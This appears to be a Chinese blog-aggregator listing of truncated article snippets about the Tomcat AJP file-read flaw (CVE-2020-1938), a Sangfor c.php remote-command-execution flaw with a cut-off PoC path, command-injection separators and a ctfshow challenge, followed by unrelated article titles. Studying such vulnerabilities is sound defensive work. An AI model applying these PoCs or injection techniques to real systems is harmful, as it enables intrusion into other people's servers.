    目录 测试是否安装成功​编辑 基础简介 Tomcat Connector(连接器) ​编辑Servlet(服务程序) Tomcat内部处理请求流程 文件读取漏洞 抓包复现 需要将下图中抓取到的数据包修 ...

  2. Tomcat AJP协议文件读取漏洞

    漏洞描述: Tomcat在 server.xml中配置了两种连接器: 1.HTTP Connector:监听8080端口,负责建立HTTP连接.在通过浏览器访问Tomcat服务器的Web应用时,使用的 ...

  3. 修改服务器的AJP监听地址,实习记录(五) - AJP协议文件读取漏洞

    漏洞介绍 Tomcat在 server.xml中配置了两种连接器:HTTP Connector:监听8080端口,负责建立HTTP连接.在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个 ...

  4. 2-java安全——tomcat AJP协议文件包含分析[CVE-2020-1938]

    漏洞描述: tomcat是Apache组织开发的中小型的JavaEE服务器,它实现了servlet,JSP等javaEE规范,可以提供web资源访问服务,tomcat主要提供了两种通信方式访问web资 ...

  5. tomcat ajp协议安全限制绕过漏洞_Apache Tomcat文件包含漏洞(CVE20201938)复现

    一.漏洞背景2020年02月20日,国家信息安全漏洞共享平台(CNVD)发布了关于Apache Tomcat文件包含漏洞(CVE-2020-1938/CNVD-2020-10487)的安全公告.Tom ...

  6. 深信服 行为感知系统 c.php 远程命令执行漏洞

    漏洞描述: 深信服 行为感知系统 c.php 远程命令执行漏洞,使用与EDR相同模板和部分文件导致命令执行 漏洞利用条件: / 漏洞影响范围: 行为感知系统 漏洞复现: 1.POC:/tool/log ...

  7. 【网络安全】命令执行漏洞

    命令执行漏洞 命令执行漏洞原理 危害 检测方法 有回显检测方法 ; (分号) 从左到右执行 | (管道符) 将见面命令的输入为后面命令的标准输入 &(后台任务符号) 命令从左到右执行 & ...

  8. ctfshow-萌新-web9( 利用命令执行漏洞读取网站敏感文件)

    ctf.show 萌新模块 web9关,这一关考察的是命令执行漏洞的利用方式,使用PHP的命令执行函数执行系统命令,读取网站根目录下的配置文件,获取flag 页面中展示了部分源码,很明显是作者提示我们 ...

  9. tomcat ajp协议安全限制绕过漏洞_Apache tomcat 文件包含漏洞复现(CVE20201938)

    漏洞背景 Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer ...

最新文章

  1. 让chrome浏览器支持跨域
  2. python安装venv_Python创建virtualenv(虚拟环境)方法及安装Ubuntu
  3. ApplicationId 与 PackageName
  4. vscode svn使用_使用Typescript封装Vue组件
  5. 小白记事本--学不明白还怕忘记指针--loading未完待续
  6. 联合索引最左原则原理_Mysql索引:图文并茂,深入探究索引的原理和使用
  7. 动态规划 分享巧克力 4794_包装|颇具艺术欣赏性的巧克力创意包装设计
  8. 推荐系统实践--基于用户的协同过滤算法
  9. arduino定时器控制舵机_Arduino通过串口控制舵机角度
  10. 无刷舵机、普通舵机等舵机的区别
  11. 龙芯电脑编译安装mysql5.7详解
  12. 山东科技大学计算机科学与技术学硕,2021年山东科技大学计算机科学与技术(081200)硕士研究生招生信息_考研招生计划和招生人数 - 学途吧...
  13. 使用CSS更改鼠标(光标的样式)
  14. 推荐10款测试员常用的单元测试工具
  15. 隐藏在PPT中的后现代主义印象派作品
  16. 变频器故障代码诊断与维修
  17. Aresio Web 2.0网页UI图标素材分享下载[微盘地址]
  18. 死磕 Elasticsearch 方法论:普通程序员高效精进的 10 大狠招!
  19. WCMS 和 CCMS 傻傻分不清楚 —— CMS 家族大解密
  20. 浅拷贝、深拷贝、浅赋值、深赋值

热门文章

  1. 深度进化强化学习第一弹~
  2. 1131 Subway Map
  3. No (visible) service implements the interface org.qiwen.serv
  4. 每天学一点英文:Espresso 20210818
  5. Ubuntu修改默认sh为bash
  6. 馒头,不!月饼引起的惨案
  7. mysql数据库压缩图片_MySQL8.0.20压缩版本安装教程图片加文字详解
  8. 产品经理必读:这样设计NPS提问,回收率提高30%!
  9. 报考报名显示服务器已满,广东教师资格证报名考区已满怎么办
  10. 男人、女人都 值得推荐的经典电影